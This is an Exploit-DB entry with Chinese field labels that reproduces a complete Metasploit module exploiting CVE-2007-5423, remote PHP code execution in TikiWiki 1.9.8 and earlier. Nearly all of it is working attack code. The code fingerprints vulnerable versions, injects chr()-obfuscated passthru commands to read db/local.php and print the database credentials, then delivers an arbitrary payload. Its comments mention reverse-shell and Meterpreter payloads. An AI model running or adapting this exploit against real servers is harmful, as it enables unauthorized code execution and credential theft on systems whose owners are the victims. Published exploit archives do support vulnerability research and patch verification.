标题: TikiWiki tiki-graph_formula - PHP Remote Code Execution (Metasploit) EDB-ID: 16911 CVE: 2007-5423 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: tikiwiki_graph_formula_exec.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
   'Description'    => %q{
     TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
    attacker to execute arbitrary PHP code.  The issue is due to
    'tiki-graph_formula.php' script not properly sanitizing user
    input supplied to create_function(), which may allow a remote
    attacker to execute arbitrary PHP code resulting in a loss of
    integrity.
   },
   'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2007-5423'],
     ['OSVDB', '40478'],
     ['BID', '26006'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     # 6k.  Really it's the max length of a URI minus the junk
     # we have to put in the request to trigger the
     # vulnerability.  On Apache, 8190 is the max, so this
     # should be a pretty safe value.
     'Space'       => 6144,
     # Yes, 'x' is a badchar.  The vulnerable code replaces it with '$x'.
     'BadChars'    => "`\"' %&x",
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Oct 10 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
   ], self.class)
 end

 def check
  res = send_request_raw(
   {
    'uri'     => datastore['URI'] + "/tiki-index.php",
    'method'  => 'GET',
    'headers' =>
     {
      'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
      'Connection' => 'Close',
     }
   }, 5)

  http_fingerprint({ :response => res })  # check method

  if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
   ver = $1
   #print_status("Detected TikiWiki version #{ver}")
   ver = ver.split('.')
   return Exploit::CheckCode::Safe if (ver[0] != '1')
   return Exploit::CheckCode::Safe if (ver[1] != '9')
   if (ver.length > 2)
    ver2 = ver[2].to_i
    if (ver.length > 3)
     ver3 = ver[3].to_i
    else
     ver3 = 0
    end
    return Exploit::CheckCode::Safe if (ver2 > 8)
    return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)
   end
   return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end

 def exploit

  print_status("Attempting to obtain database credentials...")
  url_db_local = build_uri("passthru(" +
   "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
   "chr(59)." +  # ;
   # cat db/local.php
   "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
   "chr(59)." +  # ;
   "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
   ")")
  res = send_request_raw({
   'uri'     => url_db_local,
   'method'  => 'GET',
   'headers' =>
    {
     'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
     'Connection' => 'Close',
    }
   }, 5)
  if (res and res.message == "OK" and res.body)
   print_status("The server returned            : #{res.code} #{res.message}")
   print_status("Server version                 : #{res.headers['Server']}")

   db_tiki   = res.body.match(/db_tiki='(.*?)';/m)
   if (db_tiki)
    dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
    host_tiki = res.body.match(/host_tiki='(.*?)';/m)
    user_tiki = res.body.match(/user_tiki='(.*?)';/m)
    pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
    dbs_tiki  = res.body.match(/dbs_tiki='(.*?)';/m)

    print_status("TikiWiki database informations : \n")

    print("db_tiki   : " + db_tiki[1]   + "\n")
    print("dbversion : " + dbversion[1] + "\n")
    print("host_tiki : " + host_tiki[1] + "\n")
    print("user_tiki : " + user_tiki[1] + "\n")
    print("pass_tiki : " + pass_tiki[1] + "\n")
    print("dbs_tiki  : " + dbs_tiki[1]  + "\n\n")
   end
  else
   print_status("No response from the server")
  end


  print_status("Attempting to execute our payload...")
  command = Rex::Text.uri_encode(payload.encoded)
  url_cmd = build_uri(payload.encoded)
  res = send_request_raw({
   'uri'     => url_cmd,
   'method'  => 'GET',
   'headers' =>
    {
     'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
     'Connection' => 'Close',
    }
   }, 5)
 end

 #
 # This function will build a fairly randomish query string to be used
 # when exploiting this vulnerability :)
 #
 def build_uri(f_val)
  uri = ''
  uri << datastore['URI']
  uri << "/tiki-graph_formula.php?"

  # Requirements:
  query = ''

  # 1. w,h,s,min,max must all be numeric
  vars = %w{ w h s min max }
  min = nil
  vars.each { |el|
   query << "&" if query.length > 0
   num = 1+rand(999)
   # 2. min must be less than max
   case el
   when 's'
    num = 1+rand(500)
   when 'min'
    if (min)
     num = min
    else
     min = num
    end
   when 'max'
    min ||= num
    num = min + 1 + rand(99)
   end
   query << "#{el}=#{num}"
  }

  # 3. cannot use `, ', ", or space
  if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))
   raise RuntimeError, "The value for the 'f' variable contains an invalid character!"
  end

  # 4. the function must be one of:
  valid = %w{
   abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad
   exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin
   sinh sqrt tan tanh
  }
  func = valid[rand(valid.length)]

  # 5. f must be an array
  query << "&" if query.length > 0

  # Strip off the semi-colon that the encoder insists on including.
  if f_val[-1,1] == ";"
   f_val = f_val[0,f_val.length-1]
  end
  query << "f[]=x.#{func}.#{f_val}"

  # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
  # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
  # php/meterpreter/reverse_tcp
  #  -egypt
  # If we dont kill php here it spins eating 100% cpu :-/
  #query << '.die()'

  # 6. two options for 't' - png and pdf
  #    - png requires php's gd extension
  #    - pdf, if you set 'p', requires php pdf extension
  #  -- we always use 'pdf' with a null 'p'
  query << "&" if query.length > 0
  query << 't=pdf'

  # 7. title must be set
  query << '&title='

  uri << query
  uri
 end

end URL: https://www.exploit-db.com/exploits/16911